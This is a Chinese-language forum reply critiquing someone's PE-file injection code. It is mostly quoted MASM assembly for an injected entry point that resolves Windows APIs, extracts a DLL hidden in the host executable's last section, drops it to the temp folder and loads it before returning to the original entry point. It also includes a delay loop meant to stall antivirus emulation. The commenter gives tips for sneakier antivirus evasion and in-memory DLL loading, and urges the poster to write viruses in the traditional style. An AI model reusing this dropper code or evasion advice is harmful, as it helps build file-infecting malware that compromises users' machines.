这个来说叫做静态注入,不能算作感染。感染是整个把病毒体进行patch,这样的被感染文件就拥有了病毒体所有的功能,例如感染等。
看了下附件,你的代码仅仅是定义了两个入口处的代码。剩下的是罗云斌的代码。
1.
_NewEntry1:
pushad
mov eax, 0ffffffh
.while eax >= 5
pushad
nop
nop
popad
dec eax
.endw
popad
jmp New_Section
呵,楼主貌似是看免杀类文章看多了。对于现在的AV,仅仅的耗时循环已经没什么用处了。现在讲究的是猥琐,猥琐。
;********************************************************************
; 重定位并获取一些 API 的入口地址
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
invoke _GetKernelBase,[esp] ;获取Kernel32.dll基址
.if ! eax
jmp _ToOldEntry
.endif
mov [ebx+hDllKernel32],eax ;获取GetProcAddress入口
lea eax,[ebx+szGetProcAddress]
invoke _GetApi,[ebx+hDllKernel32],eax
.if ! eax
jmp _ToOldEntry
.endif
mov [ebx+_GetProcAddress],eax
;********************************************************************
lea eax,[ebx+szLoadLibrary] ;获取LoadLibrary入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_LoadLibrary],eax
;********************************************************************
lea eax,[ebx+szGetTempPath] ;获取GetTempPath入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_GetTempPath],eax
lea eax,[ebx+szCreateFile] ;获取CreateFile入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_CreateFile],eax
lea eax,[ebx+szCreateFileMapping] ;获取CreateFileeMapping入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_CreateFileMapping],eax
lea eax,[ebx+szMapViewOfFile] ;获取MapViewOfFile入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_MapViewOfFile],eax
lea eax,[ebx+szUnmapViewOfFile] ;获取UnmapViewOfFile入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_UnmapViewOfFile],eax
lea eax,[ebx+szCloseHandle] ;获取CloseHandle入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_CloseHandle],eax
lea eax,[ebx+szWriteFile] ;获取WriteFile入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_WriteFile],eax
lea eax,[ebx+szSetFilePointer] ;获取SetFilePointer入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_SetFilePointer],eax
lea eax,[ebx+szSetEndOfFile] ;获取SetEndOfFile入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_SetEndOfFile],eax
lea eax,[ebx+szGetModuleFileName] ;获取GetModuleFileName入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_GetModuleFileName],eax
;********************************************************************
;从PE文件中导出DLL
;********************************************************************
lea eax,[ebx+szDll]
invoke [ebx+_GetModuleFileName],NULL,eax,MAX_PATH
lea eax,[ebx+szDll]
invoke [ebx+_CreateFile],eax,GENERIC_READ,FILE_SHARE_READ or \
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
.if eax != INVALID_HANDLE_VALUE
mov [ebx+hFile],eax
invoke [ebx+_CreateFileMapping],eax,NULL,PAGE_READONLY,0,0,NULL
.if eax
mov [ebx+hMapFile],eax
invoke [ebx+_MapViewOfFile],eax,FILE_MAP_READ,0,0,0
.if eax
mov [ebx+lpMemory],eax
;********************************************************************
; 检测 PE 文件是否有效
;********************************************************************
mov esi,[ebx+lpMemory]
assume esi:ptr IMAGE_DOS_HEADER
.if [esi].e_magic != IMAGE_DOS_SIGNATURE
jmp _ToOldEntry
.endif
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
.if [esi].Signature != IMAGE_NT_SIGNATURE
jmp _ToOldEntry
.endif
movzx ecx,[esi].FileHeader.NumberOfSections
add esi,sizeof IMAGE_NT_HEADERS
assume esi:ptr IMAGE_SECTION_HEADER
.while ecx > 1
dec ecx
add esi,sizeof IMAGE_SECTION_HEADER
.endw
lea eax,[ebx+szDll]
invoke [ebx+_GetTempPath],MAX_PATH,eax
lea ecx,[ebx+szDll]
;mov byte ptr[ecx+eax],5CH
mov byte ptr[ecx+eax],50H
mov byte ptr[ecx+eax+1],65H
mov byte ptr[ecx+eax+2],44H
mov byte ptr[ecx+eax+3],6CH
mov byte ptr[ecx+eax+4],6CH
mov byte ptr[ecx+eax+5],2EH
mov byte ptr[ecx+eax+6],64H
mov byte ptr[ecx+eax+7],6CH
mov byte ptr[ecx+eax+8],6CH
mov byte ptr[ecx+eax+9],0
lea eax,[ebx+szDll]
invoke [ebx+_CreateFile],eax,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \
FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
.if eax == INVALID_HANDLE_VALUE
jmp _ToOldEntry
.endif
mov [ebx+hFileNew],eax
;mov eax,[ebx+hFileNew]
mov ecx,[ebx+lpMemory]
add ecx,[esi].PointerToRawData
lea edx,[ebx+dbCount]
invoke [ebx+_WriteFile],eax,ecx,[esi].SizeOfRawData,\
edx,NULL
invoke [ebx+_SetEndOfFile],[ebx+hFileNew]
invoke [ebx+_CloseHandle],[ebx+hFileNew]
invoke [ebx+_UnmapViewOfFile],[ebx+lpMemory]
.endif
invoke [ebx+_CloseHandle],[ebx+hMapFile]
.endif
invoke [ebx+_CloseHandle],[ebx+hFile]
.else
jmp _ToOldEntry
.endif
;********************************************************************
;lea eax,[ebx+szUser32] ;获取User32.dll基址
lea eax,[ebx+szDll]
invoke [ebx+_LoadLibrary],eax
mov [ebx+hDllUser32],eax
lea eax,[ebx+szMessageBox] ;获取MessageBox入口
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
mov [ebx+_MessageBox],eax
;********************************************************************
lea ecx,[ebx+szText]
lea eax,[ebx+szCaption]
invoke [ebx+_MessageBox],NULL,ecx,eax,MB_YESNO or MB_ICONQUESTION
.if eax != IDYES
ret
.endif
jmp Old_OEP
这段过程写的太笨拙了。
尤其那个填充和获取api函数。
还有
;mov byte ptr[ecx+eax],5CH
mov byte ptr[ecx+eax],50H
mov byte ptr[ecx+eax+1],65H
mov byte ptr[ecx+eax+2],44H
mov byte ptr[ecx+eax+3],6CH
mov byte ptr[ecx+eax+4],6CH
mov byte ptr[ecx+eax+5],2EH
mov byte ptr[ecx+eax+6],64H
mov byte ptr[ecx+eax+7],6CH
mov byte ptr[ecx+eax+8],6CH
mov byte ptr[ecx+eax+9],0
还有这个。你就不能db 下。
然后rep movsb
。
还有楼主干嘛要添加2个节,直接把dll转换成二进制数据定义到你定义的入口点过程中,然后处理下重定位,读取,写入即可 省了你的入口点还得去读取节表的麻烦。还有的DLL要玩就玩DLL MEM LOAD。。
其实搞Virus 最好还是按照自己的思想来写代码,这样进步才能更大。另外看代码最好是去看传统意义上的病毒代码,千万不要去看罗云斌哥哥那种正统程序员写的代码。